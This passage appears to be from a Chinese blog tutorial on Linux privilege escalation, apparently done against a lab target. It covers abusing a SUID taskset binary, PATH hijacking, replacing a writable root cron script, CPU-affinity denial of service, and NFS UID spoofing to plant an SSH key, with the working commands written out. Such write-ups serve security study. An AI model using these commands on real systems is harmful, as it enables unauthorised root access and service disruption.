如果 taskset 的可执行文件被设置了 SUID 位(-rwsr-xr-x),并且由 root 用户拥有,则普通用户在运行该程序时,会以 root 权限执行。攻击者可以利用此特性,通过 taskset 启动一个具有更高权限的 shell。
- 风险点: 如果管理员错误地对 taskset 设置了 SUID 权限,可能导致提权。
- 检测 SUID 位: 使用以下命令检查系统中是否存在 SUID 位设置的 taskset:
find / -perm -4000 -type f -name "taskset" 2>/dev/null - 攻击方法: 如果 taskset 被设置了 SUID 位,攻击者可以通过以下命令启动一个 root shell:
taskset 0x1 /bin/bash
结果:以 root 权限运行一个交互式 shell。
2. 配合环境变量劫持
攻击者可能通过利用环境变量(例如 LD_PRELOAD 或 PATH)配合 taskset 提权。
- 攻击方法: 如果管理员对某些环境变量的安全性检查不足,可以劫持运行的二进制文件。例如:
export PATH="/tmp:$PATH"
echo -e '#!/bin/bash\n/bin/bash' > /tmp/taskset
chmod +x /tmp/taskset
taskset 0x1 ls
如果 taskset 的路径被修改为 /tmp/taskset,攻击者可能执行自己的恶意脚本,而不是原始的 taskset 程序。
3. 配合计划任务或自动化脚本
如果 taskset 被管理员配置在定时任务(crontab)或自动化脚本中,且该任务由 root 用户运行,攻击者可能会通过替换相关脚本或命令,利用 taskset 提权。
- 示例:
- 一个计划任务可能如下:
* * * * * root taskset 0x1 /path/to/script.sh - 如果 /path/to/script.sh 是一个可写文件(如权限错误),攻击者可以替换该文件内容为:
#!/bin/bash
/bin/bash - 当任务执行时,攻击者将获得一个 root shell。
- 一个计划任务可能如下:
4. 配合漏洞利用
某些 SUID 程序可能允许调用 taskset 并执行命令,攻击者可以利用这些程序强制切换到高权限的 CPU 亲和进程,进而执行恶意操作。
- 示例: 假设某个 SUID 程序调用 taskset 来运行命令,攻击者可以通过以下方式劫持:
taskset -c 0 /bin/bash
5. 限制系统性能,导致拒绝服务
taskset 也可以用于限制关键系统服务的 CPU 亲和性,使其只能使用少数 CPU 核心,导致性能下降甚至服务宕机。
- 攻击方法: 假设攻击者有权限修改某些服务的 CPU 亲和性,可以通过以下命令限制服务:
taskset -p 0x1 $(pidof critical_service)
结果:critical_service 只能使用单个 CPU 核心运行,可能导致性能瓶颈。
taskset 1 /bin/sh -p
各部分含义:
- taskset 1:
- taskset 命令用于设置或限制进程运行的 CPU 亲和性。
- 1 是一个 CPU 掩码,表示将进程绑定到 CPU 0 上运行(即第一个 CPU 核心)。
- /bin/sh:
- 表示执行系统中的 sh Shell。
- -p:
- -p 是 sh 的一个选项,表示保留 SUID 权限(Set-User-ID)。如果调用的 sh 是 SUID 程序(如 root 权限的 SUID 可执行文件),则会以高权限运行。
当前权限显示 euid=0(root) 和 egid=0(root),表明该进程已获得了 root 权限,尽管实际用户是 bob
第五类方法,NFS提权
1,通过nmap扫描,发现靶机开放了2049端口对应nsf服务
NFS 服务简介
- NFS(网络文件系统) 是一种分布式文件系统协议,允许不同机器的用户通过网络访问远程服务器上的文件,就像访问本地存储一样。
- 它是 Linux/Unix 系统上非常常见的文件共享服务,由 Sun Microsystems 开发,现在是由 Open Source Community 维护。
- NFS 默认监听的端口就是 2049
2,showmount查看一下共享文件夹
showmount 是一个用于显示远程 NFS(Network File System)服务器的共享信息的命令。它可以查看某个服务器上导出的 NFS 共享目录,通常用于检查哪些目录已经通过 NFS 导出,以及哪些客户端正在访问这些共享资源
3,mount -t nfs 192.168.23.170:/home/peter /tmp/nfs/
查看挂载目录的内容
看到root可以直接访问root目录,但是不能将文件直接拷贝到网络共享目录中
4,即使我们在kali攻击机上是root用户,但是我们还是没有写入权限,因为默认情况下客户端的root身份会被主动压缩成匿名者
原理为:在Kali上挂载NFS共享,创建一个gid为1005的用户组,接着创建peter这个账户uid指定为1001,gid指定为1005
groupadd -g 1005 peter
adduser peter -uid 1001 -gid 1005
5,然后切换到peter用户,创建公钥
生成公私钥对
ssh-keygen
创建.ssh目录
mkdir .ssh
传输public key
cat ~/.ssh/id_rsa.pub > /mnt/peter/.ssh/authorized_keys
设置权限
chmod 700 ../.ssh/
chmod 600 authorized_keys
使用私钥登录
标签:bin,文件,命令,lin,sudo,提权,sh,攻击者,security From: https://blog.csdn.net/zhongyuekang820/article/details/144779263